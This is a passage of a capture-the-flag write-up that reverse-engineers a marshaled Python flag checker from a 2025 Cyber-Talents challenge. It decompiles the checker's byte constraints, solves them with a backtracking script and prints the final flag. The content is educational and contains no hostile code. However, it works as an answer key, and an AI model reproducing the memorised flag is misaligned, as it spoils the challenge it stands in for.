d1_l\xd0mp\xd0r|\xd0}\x7f\xf0\x00\x00A\x02C\x02\xf0\x00\x00s\x01D\x02\xf3\x00\x00`\x01E\x02\xf0\x00\x00F\x02G\x02\xf1\x00\x00`\x01H\x02\xf1\x00\x00\x08H\x02\xf0\x00\x00L\x02M\x02\xf2\x00\x00\x08M\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\xd1_l\xd0mp\xd0r|\xd0}\x7f\xf0\x00\x00A\x02C\x02\xf0\x00\x00s\x01D\x02\xf3\x00\x00`\x01E\x02\xf0\x00\x00F\x02G\x02\xf1\x00\x00`\x01H\x02\xf1\x00\x00\x08H\x02\xf0\x00\x00L\x02O\x02\xf2\x00\x00\x08O\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\xd1_l\xd0mp\xd0r|\xd0}~\xf0\x00\x00@\x02A\x02\xf0\x00\x00s\x01B\x02\xf3\x00\x00`\x01C\x02\xf0\x00\x00D\x02E\x02\xf1\x00\x00`\x01F\x02\xf1\x00\x00\x08F\x02\xf0\x00\x00J\x02O\x02\xf2\x00\x00\x08O\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\xd1_l\xd0mp\xd0r|\xd0}\x7f\xf0\x00\x00A\x02C\x02\xf0\x00\x00s\x01D\x02\xf3\x00\x00`\x01E\x02\xf0\x00\x00F\x02G\x02\xf1\x00\x00`\x01H\x02\xf1\x00\x00\x08H\x02\xf0\x00\x00L\x02N\x02\xf2\x00\x00\x08N\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\xd1_l\xd0mp\xd0r|\xd0}\x7f\xf0\x00\x00A\x02C\x02\xf0\x00\x00s\x01D\x02\xf3\x00\x00`\x01E\x02\xf0\x00\x00F\x02G\x02\xf1\x00\x00`\x01H\x02\xf1\x00\x00\x08H\x02\xf0\x00\x00L\x02O\x02\xf2\x00\x00\x08O\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4`f\xd7`m\xd1`m\xd0nq\xd0s}\xf0\x00\x00\x7f\x01A\x02\xf0\x00\x00B\x02D\x02\xf0\x00\x00t\x01E\x02\xf3\x00\x00a\x01F\x02\xf0\x00\x00G\x02H\x02\xf1\x00\x00a\x01I\x02\xf1\x00\x00\x08I\x02\xf0\x00\x00M\x02O\x02\xf2\x00\x00\x08O\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\xd1_l\xd0mp\xd0r|\xd0}\x7f\xf0\x00\x00A\x02C\x02\xf0\x00\x00s\x01D\x02\xf3\x00\x00`\x01E\x02\xf0\x00\x00F\x02G\x02\xf1\x00\x00`\x01H\x02\xf1\x00\x00\x08H\x02\xf0\x00\x00L\x02P\x02\xf2\x00\x00\x08P\x02\xd8\x0f\x14\xdc\x08\x0e\x8f\r\x89\r\x90c\x98:\xa0b\xa8\x12\xd0\x1b,\xd3\x08-\xa8a\xd1\x080\xb46\xb7=\xb1=\xc0\x13\xc0j\xd0QS\xd0TV\xd0FW\xd33X\xd0YZ\xd13[\xd1\x08[\xd4_e\xd7_l\xd1_l\xd0mp\xd0r|\xd0}\x7f\xf0\x00\x00A\x02C\x02\xf0\x00\x00s\x01D\x02\xf3\x00\x00`\x01E\x02\xf0\x00\x00F\x02G\x02\xf1\x00\x00`\x01H\x02\xf1\x00\x00\x08H\x02\xf0\x00\x00L\x02Q\x02\xf2\x00\x00\x08Q\x02\xd8\x0f\x14\xe0\x0b\x0f\xf3\x00\x00\x00\x00)\x03r/\x00\x00\x00\xda\x04boolr4\x00\x00\x00\xa9\x00r5\x00\x00\x00r3\x00\x00\x00\xfa\x08<module>r8\x00\x00\x00\x01\x00\x00\x00s\x14\x00\x00\x00\xf0\x03\x01\x01\x01\xdb\x00\r\xf0\x04?\x01\x10\x98\x04\xf4\x00?\x01\x10r5\x00\x00\x00'
c = marshal.loads(b[16:])
module = types.ModuleType('check_flag')
sys.modules['check_flag'] = module
exec(c, module.__dict__)
import check_flag
t = check_flag.check_flag('flag{FAKEEEEE_FLAG}')
print(f"flag is {('correct' if t else 'not correct')}0")

To get the stage2 of the payload we have to save the b content. So, modify the script, to do this

with open("stage2.pyc", "wb") as f:
    f.write(b)

Upload stage2.pyc and you should get something like

import struct

def check_flag(flag) -> bool:
    flag_bytes = flag.encode('utf-8')
    if len(flag_bytes) != 29:
        return False
    if struct.unpack('B', flag_bytes[0:1])[0] + struct.unpack('B', flag_bytes[1:2])[0] != 210:
        return False
    if struct.unpack('B', flag_bytes[1:2])[0] - struct.unpack('B', flag_bytes[2:3])[0] != 11:
        return False
    if struct.unpack('B', flag_bytes[2:3])[0] ^ struct.unpack('B', flag_bytes[3:4])[0] != 6:
        return False
    if struct.unpack('B', flag_bytes[3:4])[0] * struct.unpack('B', flag_bytes[4:5])[0] != 12669:
        return False
    if struct.unpack('B', flag_bytes[4:5])[0] & struct.unpack('B', flag_bytes[5:6])[0] != 112:
        return False
    if struct.unpack('B', flag_bytes[5:6])[0] + struct.unpack('B', flag_bytes[6:7])[0] & 63 != 41:
        return False
    if struct.unpack('B', flag_bytes[6:7])[0] + struct.unpack('B', flag_bytes[7:8])[0] << 1 != 474:
        return False
    if struct.unpack('B', flag_bytes[7:8])[0] - struct.unpack('B', flag_bytes[8:9])[0] >> 1 != 6:
        return False
    if (struct.unpack('B', flag_bytes[8:9])[0] ^ struct.unpack('B', flag_bytes[9:10])[0]) // 5 != 17:
        return False
    if struct.unpack('B', flag_bytes[9:10])[0] * struct.unpack('B', flag_bytes[10:11])[0] // 6 != 880:
        return False
    if struct.unpack('B', flag_bytes[10:11])[0] + struct.unpack('B', flag_bytes[11:12])[0] >> 3 != 25:
        return False
    if (struct.unpack('B', flag_bytes[11:12])[0] - struct.unpack('B', flag_bytes[12:13])[0]) ** 2 != 25:
        return False
    if (struct.unpack('B', flag_bytes[12:13])[0] | struct.unpack('B', flag_bytes[13:14])[0]) % 27 != 11:
        return False
    if (struct.unpack('B', flag_bytes[13:14])[0] | struct.unpack('B', flag_bytes[14:15])[0]) ^ 72 != 59:
        return False
    if struct.unpack('B', flag_bytes[14:15])[0] + struct.unpack('B', flag_bytes[15:16])[0] & struct.unpack('B', flag_bytes[4:5])[0] != 19:
        return False
    if struct.unpack('B', flag_bytes[15:16])[0] + struct.unpack('B', flag_bytes[16:17])[0] - struct.unpack('B', flag_bytes[7:8])[0] != 41:
        return False
    if (struct.unpack('B', flag_bytes[16:17])[0] ^ struct.unpack('B', flag_bytes[17:18])[0]) - struct.unpack('B', flag_bytes[8:9])[0] != -75:
        return False
    if struct.unpack('B', flag_bytes[17:18])[0] * struct.unpack('B', flag_bytes[18:19])[0] | struct.unpack('B', flag_bytes[11:12])[0] != 3711:
        return False
    if struct.unpack('B', flag_bytes[18:19])[0] ** struct.unpack('B', flag_bytes[19:20])[0] % struct.unpack('B', flag_bytes[12:13])[0] != 41:
        return False
    if struct.unpack('B', flag_bytes[19:20])[0] - struct.unpack('B', flag_bytes[20:21])[0] & struct.unpack('B', flag_bytes[14:15])[0] != 33:
        return False
    if struct.unpack('B', flag_bytes[20:21])[0] - struct.unpack('B', flag_bytes[21:22])[0] + struct.unpack('B', flag_bytes[13:14])[0] != 7:
        return False
    if (struct.unpack('B', flag_bytes[21:22])[0] ^ struct.unpack('B', flag_bytes[22:23])[0]) + struct.unpack('B', flag_bytes[16:17])[0] != 235:
        return False
    if (struct.unpack('B', flag_bytes[22:23])[0] - struct.unpack('B', flag_bytes[23:24])[0]) * struct.unpack('B', flag_bytes[6:7])[0] != -9922:
        return False
    if (struct.unpack('B', flag_bytes[23:24])[0] | struct.unpack('B', flag_bytes[24:25])[0]) & struct.unpack('B', flag_bytes[21:22])[0] != 95:
        return False
    if struct.unpack('B', flag_bytes[24:25])[0] % struct.unpack('B', flag_bytes[25:26])[0] + struct.unpack('B', flag_bytes[14:15])[0] != 194:
        return False
    if struct.unpack('B', flag_bytes[25:26])[0] * struct.unpack('B', flag_bytes[26:27])[0] // struct.unpack('B', flag_bytes[19:20])[0] != 33:
        return False
    if struct.unpack('B', flag_bytes[26:27])[0] - struct.unpack('B', flag_bytes[27:28])[0] - struct.unpack('B', flag_bytes[25:26])[0] != -177:
        return False
    if (struct.unpack('B', flag_bytes[27:28])[0] + struct.unpack('B', flag_bytes[28:29])[0]) * struct.unpack('B', flag_bytes[28:29])[0] != 29375:
        return False
    return True

So, on solving the algorithm part, honestly i am terrible at math and crypto, so i had help from ChatGPT with my guidance, and cleaning up after it we arrived at the following solution

#!/usr/bin/env python3

def solve_flag():
    """
    Solve the 'check_flag' constraints:
      - f[0..4] = 'f','l','a','g','{'
      - f[28]   = '}'
      - f[27]   = 'n' (from constraint #28)
      - f[i] in [32..126] for i=5..26
    Returns a list of all solutions found.
    """
    # Initialize the byte array with fixed values.
    f = [None] * 29
    f[0:5] = [102, 108, 97, 103, 123]  # "flag{"
    f[27] = 110  # 'n'
    f[28] = 125  # '}'

    solutions_found = []

    # List of constraints as pairs of (required_indices, lambda check).
    constraints = [
        ([5,6],       lambda: ((f[5] + f[6]) & 63) == 41),
        ([6,7],       lambda: (f[6] + f[7]) == 237),
        ([7,8],       lambda: (f[7] - f[8]) == 12),
        ([8,9],       lambda: ((f[8] ^ f[9]) // 5) == 17),
        ([9,10],      lambda: (f[9] * f[10] // 6) == 880),
        ([10,11],     lambda: ((f[10] + f[11]) >> 3) == 25),
        ([11,12],     lambda: (f[11] - f[12])**2 == 25),
        ([12,13],     lambda: ((f[12] | f[13]) % 27) == 11),
        ([13,14],     lambda: ((f[13] | f[14]) ^ 72) == 59),
        ([14,15],     lambda: ((f[14] + f[15]) & 123) == 19),
        ([7,15,16],   lambda: (f[15] + f[16] - f[7]) == 41),
        ([8,16,17],   lambda: ((f[16] ^ f[17]) - f[8]) == -75),
        ([11,17,18],  lambda: (f[17] * f[18] | f[11]) == 3711),
        ([12,18,19],  lambda: f[12] != 0 and pow(f[18], f[19], f[12]) == 41),
        ([14,19,20],  lambda: ((f[19] - f[20]) & f[14]) == 33),
        ([13,20,21],  lambda: (f[20] - f[21] + f[13]) == 7),
        ([16,21,22],  lambda: ((f[21] ^ f[22]) + f[16]) == 235),
        ([6,22,23],   lambda: (f[22] - f[23]) * f[6] == -9922),
        ([21,23,24],  lambda: ((f[23] | f[24]) & f[21]) == 95),
        ([14,24,25],  lambda: f[25] != 0 and ((f[24] % f[25]) + f[14]) == 194),
        ([19,25,26],  lambda: f[19] != 0 and (f[25] * f[26] // f[19]) == 33),
        ([25,26],      lambda: (f[26] - 110 - f[25]) == -177)
    ]

    def all_constraints_ok():
        """Check all constraints that refer only to known bytes."""
        for indices, check in constraints:
            if any(f[i] is None for i in indices):
                continue
            if not check():
                return False
        return True

    def backtrack(i=5):
        """Recursively assign values to f[5..26] satisfying all constraints."""
        if i > 26:
            if all_constraints_ok():
                solutions_found.append(f[:])
            return

        # Skip fixed indices if already set.
        if f[i] is not None:
            if not all_constraints_ok():
                return
            backtrack(i + 1)
            return

        # Try all printable ASCII values for f[i].
        for candidate in range(32, 127):
            # For index 5, apply constraint 5 early.
            if i == 5 and (123 & candidate) != 112:
                continue
            f[i] = candidate
            if not all_constraints_ok():
                continue
            backtrack(i + 1)
        f[i] = None

    backtrack(5)
    return solutions_found

sol = solve_flag()
print(f"[INFO] Found {len(sol)} solution(s).")
for s in sol:
    txt = "".join(chr(x) for x in s)
    print(f"[INFO] Valid solution => {txt}")

Running the solver will give the following results

$ python solver3.py
[INFO] Found 1 solution(s).
[INFO] Valid solution => flag{pyth0n_d3c0mp!l3_!s_f#n}

The flag is flag{pyth0n_d3c0mp!l3_!s_f#n}

Alternatively, I think the intended solution was to to patch pycdc using the following guide Decompiling python above 3.9.


And that’s concludes the write-up for the Cyber-Talents New year Challenge (2025), i hope you enjoyed it, and learned something new.